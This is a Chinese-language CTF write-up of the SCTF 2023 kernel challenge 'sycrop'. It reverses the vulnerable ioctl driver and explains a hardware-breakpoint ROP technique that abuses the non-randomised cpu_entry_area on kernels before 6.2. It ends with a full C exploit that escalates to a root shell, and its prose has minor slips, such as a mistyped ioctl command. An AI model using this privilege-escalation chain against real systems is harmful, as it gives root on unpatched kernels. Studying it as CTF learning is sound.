SCTF 2023 sycrop

原 po 如下 只是在 pray77 师傅的基础上做了一点意义不大的补充和学习 学习到了新的 rop 链构造方式
GitHub - pray77/SCTF2023_kernelpwn: SCTF 2023 kernel pwn

# 逆向

这里的代码只能看汇编 作者估计是直接用汇编写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:0000000000000010 seven_ioctl     proc near               ; DATA XREF: .data:00000000000003F8↓o
.text:0000000000000010 push r14
.text:0000000000000012 push rbx
.text:0000000000000013 ; 4: if ( cmd != 0x6666 )
.text:0000000000000013 mov rbx, rdx <<- [1] cmd0x5555 rbx 存放ioctl的第三个参数
.text:0000000000000016 cmp esi, 6666h
.text:000000000000001C jz short loc_44
.text:000000000000001E ; 6: if ( cmd == 0x5555 )
.text:000000000000001E mov r14, 0FFFFFFFFFFFFFFFFh
.text:0000000000000025 cmp esi, 5555h
.text:000000000000002B jnz short loc_50
.text:000000000000002D ; 8: if ( pray )
.text:000000000000002D cmp cs:pray, 0 <<- [3] 只能试用一次pray
.text:0000000000000034 jz short loc_99 <<- [2] 跳转

(····)
.text:0000000000000099 loc_99: ; CODE XREF: seven_ioctl+24↑j
.text:0000000000000099 mov cs:pray, 1
.text:00000000000000A0 ; 16: a1 = (__int64)"\x1B[31m\x1B[1m[*]pray\n";
.text:00000000000000A0 mov rdi, offset a31m1mPray ; "\x1B[31m\x1B[1m[*]pray\n"
.text:00000000000000A7 ; 17: printk("\x1B[31m\x1B[1m[*]pray\n");
.text:00000000000000A7 call _printk ; PIC mode
.text:00000000000000AC mov r14, [rbx] <<- [4] 实现一次aar
.text:00000000000000AF jmp short loc_50 <<- [4] 调用__x86_return_thunk r14作为ioctl的返回值
.text:00000000000000AF seven_ioctl endp

cmd = 0x5555 的时候 有一次 aar 的机会

cmd = 0x6000 的时候 清零所有寄存器 然后栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:000000000000005C loc_5C:                                 ; CODE XREF: seven_ioctl+3B↑j
.text:000000000000005C mov rdi, offset a34m1mSycropBy7 ; "\x1B[34m\x1B[1m[*]SYCrop by 77\n"
.text:0000000000000063 call _printk ; PIC mode
.text:0000000000000068 ; 25: come_true = 1;
.text:0000000000000068 mov cs:come_true, 1
.text:000000000000006F xor edx, edx
.text:0000000000000071 xor ecx, ecx
.text:0000000000000073 xor edi, edi
.text:0000000000000075 xor esi, esi
.text:0000000000000077 xor r8d, r8d
.text:000000000000007A xor r9d, r9d
.text:000000000000007D xor r10d, r10d
.text:0000000000000080 xor r11d, r11d
.text:0000000000000083 xor r12d, r12d
.text:0000000000000086 xor r13d, r13d
.text:0000000000000089 xor r14d, r14d
.text:000000000000008C xor r15d, r15d
.text:000000000000008F xor ebp, ebp
.text:0000000000000091 mov rsp, rbx <<-[1] rbx为ioctl的第三个参数
.text:0000000000000094 retn

一次 aar 和一次栈迁移 要实现提权 如果不学这个手法我是想不到的(aar 首先你要泄漏 kdma 才能读到 kbase 不然 rop 都布置不了)

# ret2hbp

[[ret2hbp]]

pray77 师傅提出的硬件断点 rop

关于 cpu_entry_area 6.2 之前没加入随机化

1
fffffe0000000000 |   -2    TB | fffffe7fffffffff |  0.5 TB | cpu_entry_area mapping
1
2
tools/perf/util/machine.c
1239:#define X86_64_CPU_ENTRY_AREA_PER_CPU 0xfffffe0000000000ULL
1
2
3
4
5
6
7
noinstr struct cpu_entry_area *get_cpu_entry_area(int cpu)
{
unsigned long va = CPU_ENTRY_AREA_PER_CPU + cpu * CPU_ENTRY_AREA_SIZE;
BUILD_BUG_ON(sizeof(struct cpu_entry_area) % PAGE_SIZE != 0);

return (struct cpu_entry_area *) va;
}

其中 CPU_ENTRY_AREA_PER_CPU 为 0xfffffe0000000000 + PAGE_SIZE
对着汇编很容易看出来 CPU_ENTRY_AREA_SIZE 是 0x35000

1
2
3
4
5
6
pwndbg> x/10i get_cpu_entry_area
0xffffffff81b4ce80 <get_cpu_entry_area>: movsxd rax,edi
0xffffffff81b4ce83 <get_cpu_entry_area+3>: movabs rdi,0xfffffe0000001000
0xffffffff81b4ce8d <get_cpu_entry_area+13>: imul rax,rax,0x35000
0xffffffff81b4ce94 <get_cpu_entry_area+20>: add rax,rdi
0xffffffff81b4ce97 <get_cpu_entry_area+23>: ret

cpu_entry_area 中的异常栈就是用户可以布置的 rop 位置 之后找个环境深入研究一下

cpu_entry_area  contains all the data and code needed to allow the CPU to hand control over to the kernel. When KPTI is enabled, only that part of the kernel is mapped when user-space is running.

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0xfffffe0000000000 + 4
0xfffffe0000000004: 0xffffffff82008e00 0x00100bb000000000
0xfffffe0000000014: 0xffffffff82008e03 0x0010130000000000
0xfffffe0000000024: 0xffffffff82008e02 0x00100b0000000000
0xfffffe0000000034: 0xffffffff8200ee00 0x0010091000000000
0xfffffe0000000044: 0xffffffff8200ee00 0x0010093000000000
0xfffffe0000000054: 0xffffffff82008e00 0x00100ae000000000
0xfffffe0000000064: 0xffffffff82008e00 0x0010095000000000
0xfffffe0000000074: 0xffffffff82008e00 0x00100bf000000000
0xfffffe0000000084: 0xffffffff82008e01 0x0010097000000000
0xfffffe0000000094: 0xffffffff82008e00 0x001009f000000000

如果我们实现了 aar 是可以在不泄露 kdma 的情况下获得 kbase 的

# hbp

amd64 上 dr0-7 (debugreg) 寄存器用于硬件断点

intel manual 17 page 18.2.4 节详细叙述了 dr7 他用于管理其他硬件断点

  • L0-L3 当前任务硬件断点 enable flag 在任务切换之后会抹去

  • G0-G3 全局任务硬件断点 enable flag 任务切换的时候不会抹去
    Linux 上无论线程还是进程都是以 task_struct 进行描述 所以这里 L/G 应该是线程与进程的区别

  • LE and GE 不支持 amd64 不用管

  • R/W0 through R/W3 设置断点条件

    • DE 激活情况下
    • 00 — Break on instruction execution only.
    • 01 — Break on data writes only.
    • 10 — Break on I/O reads or writes.
    • 11 — Break on data reads or writes but not instruction fetches.
    • 无脑 11 就行
  • LEN

    • 00 — 1-byte length.
    • 01 — 2-byte length.
    • 10 — Undefined (or 8 byte length, see note below).
    • 11 — 4-byte length.

所以我如果 想触发一个硬件断点 只需要设置 dr [0] 为 bp_addr
然后设置 dr [7] 的 G0 为 1 (单线程无所谓 G0/L0) 然后 R/W0 为 11 LEN 为 11
简单来说就是 0x00 0f 04 02

# ptrace

通过 ptrace 可以 poke peek tracee 的 user 结构体 比如修改 dr 寄存器可以达到硬件断点的效果

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include "inc/common.h"
#include "inc/snippet.h"
// #include "inc/uffd.h"

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <sys/xattr.h>
#include <asm/ldt.h>
#include <sys/wait.h>
#include <sys/socket.h>

#include <malloc.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/user.h>

#define ADDR cRED "0x%lx" cRST
u64 kbase, kdma;
const char *devname = "/dev/seven";
pid_t hbppid;

u64 init_cred = 0x1a4cbf8;
u64 commit_cred = 0xbb5b0;
u64 pop_rdi = 0x2c9d;
u64 bypass_kpti = 0x1000f01;

/* must be call after child process set TRACEME */
void create_hwbp(u64 addr) {

#define PTRACE_DR(idx, data) ({ \
if(ptrace(PTRACE_POKEUSER, hbppid, offsetof(struct user, u_debugreg[idx]), data) == -1) \
panic("ptrace dr" #idx); \
})

PTRACE_DR(0, addr);
PTRACE_DR(7, 0xf0402);
}

void add_kbase() {
assert_neq(kbase, 0);

init_cred += kbase;
commit_cred += kbase;
pop_rdi += kbase;
bypass_kpti += kbase;
}

void cont() {
if(ptrace(PTRACE_CONT, hbppid, NULL, NULL) == -1)
panic("ptrace continue");
}
u64 bp;

u64 rootshell = (u64)get_root_shell;
int main(int argc, char const *argv[])
{
save_state();
open_dev(devname, O_RDONLY);

bp = (u64)mmap(
(void *)0x07210000,
0x1000,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if((void *)bp == MAP_FAILED) panic("mmap");



u64 leak = ioctl(devfd, 0x5555, 0xfffffe0000000000+4);/* exploit the aar vuln */
ok("kleak at " ADDR, leak);

kbase = leak - 0x1008e00;
ok("kbase at " ADDR, kbase);
add_kbase();

if((hbppid = fork()) == 0) {

act("[C] try to bind child process to CPU-0...");
cpu_set_t hbp_cpu_set;
CPU_ZERO(&hbp_cpu_set);
CPU_SET(0, &hbp_cpu_set);
sched_getaffinity(0/* repr cur pid */, sizeof(hbp_cpu_set), &hbp_cpu_set);

/* call father for trace child process */
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
raise(SIGSTOP);

act("[C] receive continue signal, construct rop to cpu_entry_area and exit...");

__asm__(
".intel_syntax noprefix;"
"mov r15, 0xdeadbeef;"
"mov r14, pop_rdi;"
"mov r13, init_cred;"
"mov r12, commit_cred;"
"mov rbp, bypass_kpti;"
"mov rbx, 0x0d000721;"
"mov r11, 0x0d000721;"
"mov r10, rootshell;"
"mov r9, _cs;"
"mov r8, _rflags;"
"mov rax, _sp;"
"mov rcx, _ss;"
"mov rdx, 0x0d000721;"
"mov rsi, 0x07210000;"
"mov rdi, [rsi];" /* trigger hbp */
".att_syntax;"
);
exit(1);
}

if(hbppid < 0) panic("fork");

act("[P] waiting for child...");
int status;
wait(&status);
assert(WIFSTOPPED(status));
create_hwbp(0x07210000);

act("[P] try to trigger hbp...");
cont();
wait(&status);
assert(WIFSTOPPED(status));

act("[P] try to pivot stack to hbp ROP...");
ioctl(devfd, 0x6666, 0xfffffe0000010f60);
return 0;
}